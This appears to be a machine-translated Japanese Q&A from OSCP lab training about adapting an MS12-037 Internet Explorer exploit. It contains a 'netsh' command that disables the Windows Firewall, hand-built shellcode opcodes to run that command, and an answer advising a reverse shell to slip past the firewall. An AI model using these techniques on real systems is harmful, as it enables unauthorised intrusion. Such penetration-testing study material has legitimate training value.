OSCPのトレーニングの一環として、Windowsファイアウォールをオンにしたブラウザのエクスプロイト(MS12-037)を使用して、Win7マシンでシェルを取得することになっています。
アイデアはありますが、適用するのに苦労しています。
私がやろうとしていることは、シェルコードを実行する前にファイアウォールをオフにするコードを挿入することです。
まず、ファイアウォールをオフにするCプログラムを作成しました。
_#include "stdlib.h"
int main ()
{
int i;
i=system ("netsh advfirewall set currentprofile state off");
return 0;
}
_
次に、プログラムをコンパイルして逆アセンブルし、これを取得しました。
_004013a0 <_main>:
4013a0: 8d 4c 24 04 lea ecx,[esp+0x4]
4013a4: 83 e4 f0 and esp,0xfffffff0
4013a7: ff 71 fc Push DWORD PTR [ecx-0x4]
4013aa: 55 Push ebp
4013ab: 89 e5 mov ebp,esp
4013ad: 51 Push ecx
4013ae: 83 ec 14 sub esp,0x14
4013b1: e8 6a ff ff ff call 401320 <___main>
4013b6: 83 ec 0c sub esp,0xc
4013b9: 68 24 30 40 00 Push 0x403024
4013be: e8 c5 01 00 00 call 401588 <_system>
4013c3: 83 c4 10 add esp,0x10
4013c6: 89 45 f8 mov DWORD PTR [ebp-0x8],eax
4013c9: b8 00 00 00 00 mov eax,0x0
4013ce: 8b 4d fc mov ecx,DWORD PTR [ebp-0x4]
4013d1: c9 leave
4013d2: 8d 61 fc lea esp,[ecx-0x4]
4013d5: c3 ret
4013d6: 90 nop
4013d7: 90 nop
_
私が興味のある部分はこれです:
_ 4013b6: 83 ec 0c sub esp,0xc
4013b9: 68 24 30 40 00 Push 0x403024
4013be: e8 c5 01 00 00 call 401588 <_system>
4013c3: 83 c4 10 add esp,0x10
_
これは、プログラムがスタック上の文字列_netsh advfirewall set currentprofile state off
_のアドレスにスペースを割り当て、それをsystem()
に渡す場所ですその後スタックをクリーンアップします。
これらの命令をシェルコードの前に挿入して、バインド/リバースシェルが起動する前にファイアウォールをオフにしたいと考えています。Cプログラムのコマンドはメモリ内にあるため、プログラムはアドレスをスタックにプッシュする必要がありました。実際の文字列。
エクスプロイトを機能させるには、実際の文字列をスタックにプッシュしてsystem()
に渡す必要があるため、 Corlean's スクリプトを使用して、実際の文字列をスタック。
_String length : 46
Opcodes to Push this string onto the stack :
"\x68\x66\x66\x20\x00" //Push 0x00206666
"\x68\x74\x65\x20\x6f" //Push 0x6f206574
"\x68\x20\x73\x74\x61" //Push 0x61747320
"\x68\x66\x69\x6c\x65" //Push 0x656c6966
"\x68\x74\x70\x72\x6f" //Push 0x6f727074
"\x68\x72\x72\x65\x6e" //Push 0x6e657272
"\x68\x74\x20\x63\x75" //Push 0x75632074
"\x68\x6c\x20\x73\x65" //Push 0x6573206c
"\x68\x65\x77\x61\x6c" //Push 0x6c617765
"\x68\x76\x66\x69\x72" //Push 0x72696676
"\x68\x68\x20\x61\x64" //Push 0x64612068
"\x68\x6e\x65\x74\x73" //Push 0x7374656e
_
だから今私はスタック上のこの文字列にスペースを割り当てる必要があります
_\x83\xEC\x41 \\sub esp,65
_
呼び出しsystem()
_\xe8\xc5\x01\x00\x00 call 401588
_
次に、スタックを掃除します
_\x83\xC4\x41 add esp,byte +0x41
_
ここに2つの問題があります。
使用している手順に不正な文字「00」が含まれています
変更とシェルコードの合計サイズが 元のエクスプロイト のバッファサイズを超えている
だから私の質問は:
上記の問題の解決策はありますか?
この問題を解決するこの方法は正しい/実行可能ですか?
これを処理するより良い方法はありますか?
IEこれは、デフォルトではより権限の低いプロセスです。これを悪用しているため、アプローチが完全に間違っています。さらに、クライアント側で攻撃する場合、悪用すると、ネットワーク構成については想定しないでください。ホストとユーザーの間に複数のファイアウォールが存在する可能性があります。NATがシェル接続をブロックする可能性があり、最終的にリッスンするポートが開いていない可能性があります。
私の提案は、リバースシェルペイロードを使用することです。これは、クライアント側の悪用の制限を補完し、より多くの使用例をサポートします。さらに、デフォルトのWindowsファイアウォール構成では、制限なく送信トラフィックを許可します。つまり、シェルをブロックしない場合と同様に、基本的にWindowsファイアウォールが「バイパス」されます。